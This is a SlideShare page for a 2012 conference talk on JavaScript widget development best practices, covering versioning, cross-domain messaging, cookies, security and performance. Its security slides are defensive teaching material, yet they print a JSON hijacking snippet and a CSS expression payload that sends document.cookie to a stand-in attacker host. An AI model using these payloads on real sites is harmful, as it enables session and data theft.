SlideShare a Scribd company logo
JavaScript Widget
Development Best
    Practices
   Volkan Özçelik

   volkan@o2js.com

                     2012-07-29 @ jstanbul
               http://jstabul.org/2012
Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
  •   Versioning
  •   You are not the host, you are the thief.
  •   Shared Environment
  •   Bumping the Cross-Domain Wall
  •   Not Your Grandma’s Cookies
  •   Security
  •   Performance

• Questions
tar -zxvf 30Min.gz



http://bit.ly/js-widget
 (work in progress)
What is a Widget?

• A Distributed Plugin
  • Source Site ( widget provider )
  • Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless
Versioning Hassle

• Types of Versioning
  • URL Versioning
  • Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.
  • When’s the last time you updated that Wordpress theme?
  • Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js  15 minute cache time;
• twitter‘s widgets.js  30 minute cache time.


                    What part of
            “Far Future Expires Header”
               don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts
  • A Bootloader Script
  • A JavaScript Beacon
  • Iframe Refresh
    • window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype

• Show love to the Module Pattern,

• Do not slow down publisher
  • Async initialization,
  • Lazy Load.

• Do not slow down yourself
  • Native is faster,
  • Use IDs everywhere.
Environment is Shared

• Prefix everything.

• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods
 • CORS
 • HTML5 window.postMessage API

• Hacks
 •   Flash Proxy
 •   Hash Fragment Transport
 •   window.name Transport
 •   Iframe inside an Iframe (klein bottle)
 •   Use Publisher’s Server as a Proxy
 •   JSON with Padding
Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.
Third Party Cookies

• Meaning of ‚disabled‛ varies too
  • Firefox & Opera
    • Server cannot read, client cannot write
    • We’re tossed! (or are we?)
  • IE
    • Server can read, client cannot write
  • Webkit (Chrome & Safari)
    • Server can read,
    • client can ‚kinda‛ write (iframe post hack)
Third Party Cookies

• Check for 3rd Party Cookie Support First
    • Don’t jump straight into hacks.

• External Windows as a Rescue
  • A pop-up is considered ‚first party‛

• What about Opera & Firefox ?
  • Store session ID as a variable.
  • Pass to the server at each request.
  • Do not store on publisher’s page!
    • Use an IFRAME on API domain for security.
Widget Security

• Bottom Line Up Front
 •   Sanitize everything.
 •   First deny everything, then whitelist known good.
 •   Check referrers, have a list of trusted domains.
 •   Do not trust anyone.

                                        function Anyone(){}
                                      function Publisher(){}
                         Publisher.prototype = new Anyone();
Widget Security
• XSS
  • Sanitize everything
  • Escape < > ; , ‘ ‚ into HTML entities

• CSRF
  • Use a CSRF token

• Denial of Service
  • Subdomains per publisher ( publisher1.api.example.com )
  • Throttle suspicious requests per subdomain.
  • Best handled on network / hardware layer.

• Session Hijacking
  • … is a reality.
  • The only reasonable protection is HTTPS.
Widget Security (lesser known)

JSON Hijacking
<script>
var captured = [];
function Array() {
    for (var i = 0; i < 3; i++) {
        this[i] setter = function(val)
                         { captured.push(val); };
    }
}
</script>
<script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)

CSS Expression Hijacking



         var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
          document.cookie);';
Widget Security (lesser known)

Clickjacking
• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers
Widget Performance
• Minimize Initial Payload
  • Tiny bootloader, then load dependencies

• Lazy load when possible
• Combine and Minify Assets
• CSS Sprites
• Defer images (use a default image, then load
  original)
• Minimize # of HTTP Requests
Widget Performance

• Minimize Repaint and Reflow

• Rate-limit Server Requests (throttle, debounce)

• Yield with setTimeout(fn, 0)

• Chunk large arrays of instructions.

• Improve Perceived Performance
  • Be an optimist: act, then verify.
Widget Performance
•   Do not micro-optimize,
•   Do not optimize prematurely,
•   Optimizing without measurement is misleading,
•   It’s hard to measure a third party widget’s performance.
    •   A lot of moving parts involved.
    •   Tools like jsperf will not be of much use.
    •   Do not use your 8GB Ram + SSD MacBook for profiling.
    •   Test on an low-grade machine.
• Do not forget mobile!
Thank You!



 Questions?
Ad

Recommended

External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
Volkan Özçelik
 
Conquering AngularJS Limitations
Conquering AngularJS Limitations
Valeri Karpov
 
Lessons in Open Source from the MongooseJS ODM
Lessons in Open Source from the MongooseJS ODM
Valeri Karpov
 
MongoDB MEAN Stack Webinar October 7, 2015
MongoDB MEAN Stack Webinar October 7, 2015
Valeri Karpov
 
Blazor - The New Silverlight?
Blazor - The New Silverlight?
Christian Nagel
 
Testing your Single Page Application
Testing your Single Page Application
Wekoslav Stefanovski
 
Introduction to PhantomJS
Introduction to PhantomJS
Erol Selitektay
 
Selenium testing
Selenium testing
Jason Myers
 
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Dakiry
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Modern iframe programming
Modern iframe programming
benvinegar
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
Webdriver.io
Webdriver.io
LinkMe Srl
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Blazor v1.1
Blazor v1.1
Juan Luis Guerrero Minero
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Modern Web Framework : Play framework
Modern Web Framework : Play framework
Suman Adak
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
Aaron Hnatiw
 
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
Vagner Santana
 
Html5 security
Html5 security
Krishna T
 

More Related Content

What's hot (20)

Selenium testing
Selenium testing
Jason Myers
 
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Dakiry
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Modern iframe programming
Modern iframe programming
benvinegar
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
Webdriver.io
Webdriver.io
LinkMe Srl
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Blazor v1.1
Blazor v1.1
Juan Luis Guerrero Minero
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Modern Web Framework : Play framework
Modern Web Framework : Play framework
Suman Adak
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
Aaron Hnatiw
 
Selenium testing
Selenium testing
Jason Myers
 
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Dakiry
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Modern iframe programming
Modern iframe programming
benvinegar
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Modern Web Framework : Play framework
Modern Web Framework : Play framework
Suman Adak
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
Aaron Hnatiw
 

Similar to Java scriptwidgetdevelopmentjstanbul2012 (20)

WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
Vagner Santana
 
Html5 security
Html5 security
Krishna T
 
Html5 Application Security
Html5 Application Security
chuckbt
 
Protecting Your APIs Against Attack & Hijack
Protecting Your APIs Against Attack & Hijack
CA API Management
 
Optimizing Your Frontend Performance
Optimizing Your Frontend Performance
Thomas Weinert
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Patrick Meenan
 
Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
Web security
Web security
kareem zock
 
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Stephan Chenette
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
Terrance Medina
 
HTML5 - The Promise & The Peril
HTML5 - The Promise & The Peril
Security Innovation
 
Securing your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdf
ssuser01066a
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
Conviso Application Security
 
Wordpress Meetup
Wordpress Meetup
Codal
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
How to Ensure You're Launching the Most Secure Website - Michael Tremante
How to Ensure You're Launching the Most Secure Website - Michael Tremante
WP Engine
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
 
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
WWW/Internet 2011 - A Framework for Web 2.0 Secure Widgets
Vagner Santana
 
Html5 security
Html5 security
Krishna T
 
Html5 Application Security
Html5 Application Security
chuckbt
 
Protecting Your APIs Against Attack & Hijack
Protecting Your APIs Against Attack & Hijack
CA API Management
 
Optimizing Your Frontend Performance
Optimizing Your Frontend Performance
Thomas Weinert
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Google I/O 2012 - Protecting your user experience while integrating 3rd party...
Patrick Meenan
 
Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Script Fragmentation - Stephan Chenette - OWASP/RSA 2008
Stephan Chenette
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
Terrance Medina
 
Securing your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdf
ssuser01066a
 
Wordpress Meetup
Wordpress Meetup
Codal
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
How to Ensure You're Launching the Most Secure Website - Michael Tremante
How to Ensure You're Launching the Most Secure Website - Michael Tremante
WP Engine
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
 
Ad

Recently uploaded (20)

Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Saikat Basu
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
Safe Software
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Quantum AI: Where Impossible Becomes Probable
Quantum AI: Where Impossible Becomes Probable
Saikat Basu
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
The Future of Product Management in AI ERA.pdf
The Future of Product Management in AI ERA.pdf
Alyona Owens
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
UserCon Belgium: Honey, VMware increased my bill
UserCon Belgium: Honey, VMware increased my bill
stijn40
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Techniques for Automatic Device Identification and Network Assignment.pdf
Techniques for Automatic Device Identification and Network Assignment.pdf
Priyanka Aash
 
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
Priyanka Aash
 
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Quantum AI Discoveries: Fractal Patterns Consciousness and Cyclical Universes
Saikat Basu
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
Safe Software
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
Quantum AI: Where Impossible Becomes Probable
Quantum AI: Where Impossible Becomes Probable
Saikat Basu
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
From Manual to Auto Searching- FME in the Driver's Seat
From Manual to Auto Searching- FME in the Driver's Seat
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Smarter Aviation Data Management: Lessons from Swedavia Airports and Sweco
Safe Software
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
The Future of Product Management in AI ERA.pdf
The Future of Product Management in AI ERA.pdf
Alyona Owens
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
UserCon Belgium: Honey, VMware increased my bill
UserCon Belgium: Honey, VMware increased my bill
stijn40
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Techniques for Automatic Device Identification and Network Assignment.pdf
Techniques for Automatic Device Identification and Network Assignment.pdf
Priyanka Aash
 
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
GenAI Opportunities and Challenges - Where 370 Enterprises Are Focusing Now.pdf
Priyanka Aash
 
Ad

Java scriptwidgetdevelopmentjstanbul2012

  • 1. JavaScript Widget Development Best Practices Volkan Özçelik [email protected] 2012-07-29 @ jstanbul http://jstabul.org/2012
  • 2. Who am I? • CTO, cember.net (%100 acquired by Xing AG; RIP) • Project Director, livego.com (gone to deadpool, RIP) • CO-VP of Technology, grou.ps ( http://grou.ps/ ) • JavaScript Engineer, SocialWire ( http://socialwire.com/ ) • J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
  • 3. Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan
  • 4. Outline • What is a Widget? / Types of Widgets • Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance • Questions
  • 6. What is a Widget? • A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers ) • Can have a GUI ( weather forecast ) • May not have GUI too ( analytics, statistics ) • Can be Stateful • Can be Stateless
  • 7. Versioning Hassle • Types of Versioning • URL Versioning • Version Number as an Init Parameter • If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
  • 8. Versioning Hassle • google‘s ga.js 2 hour cache time; • Facebook‘s all.js  15 minute cache time; • twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
  • 9. Versioning Hassle • Far Future Expires Header • Self Cache-Revalidating Scripts • A Bootloader Script • A JavaScript Beacon • Iframe Refresh • window.location.reload(true)
  • 11. Act, but don’t be Seen • You don’t own publisher’s DOM. • Leave minimal trace behind. • Do not slow down publisher. • Do not pollute global namespace.
  • 12. Act, but don’t be Seen • Do not extend Object.prototype or Function.prototype • Show love to the Module Pattern, • Do not slow down publisher • Async initialization, • Lazy Load. • Do not slow down yourself • Native is faster, • Use IDs everywhere.
  • 13. Environment is Shared • Prefix everything. • I mean… everything!
  • 15. Cross Domain Boundary • Modern Methods • CORS • HTML5 window.postMessage API • Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
  • 16. Third Party Cookies • Can be disabled by default. • Users may explicitly disable them. • Ad blocker browser plugins may disable them. • You cannot rely on their existence.
  • 17. Third Party Cookies • Meaning of ‚disabled‛ varies too • Firefox & Opera • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE • Server can read, client cannot write • Webkit (Chrome & Safari) • Server can read, • client can ‚kinda‛ write (iframe post hack)
  • 18. Third Party Cookies • Check for 3rd Party Cookie Support First • Don’t jump straight into hacks. • External Windows as a Rescue • A pop-up is considered ‚first party‛ • What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
  • 19. Widget Security • Bottom Line Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
  • 20. Widget Security • XSS • Sanitize everything • Escape < > ; , ‘ ‚ into HTML entities • CSRF • Use a CSRF token • Denial of Service • Subdomains per publisher ( publisher1.api.example.com ) • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer. • Session Hijacking • … is a reality. • The only reasonable protection is HTTPS.
  • 21. Widget Security (lesser known) JSON Hijacking <script> var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script>
  • 22. Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image; i.src="http://attacker.example.com/?" + document.cookie);';
  • 23. Widget Security (lesser known) Clickjacking • Invisible IFRAME positioned on a UI element. Remedy: • Framekiller scripts • X-Frame-Options header • Request confirmation for sensitive actions • Register all your publishers
  • 24. Widget Performance • Minimize Initial Payload • Tiny bootloader, then load dependencies • Lazy load when possible • Combine and Minify Assets • CSS Sprites • Defer images (use a default image, then load original) • Minimize # of HTTP Requests
  • 25. Widget Performance • Minimize Repaint and Reflow • Rate-limit Server Requests (throttle, debounce) • Yield with setTimeout(fn, 0) • Chunk large arrays of instructions. • Improve Perceived Performance • Be an optimist: act, then verify.
  • 26. Widget Performance • Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading, • It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine. • Do not forget mobile!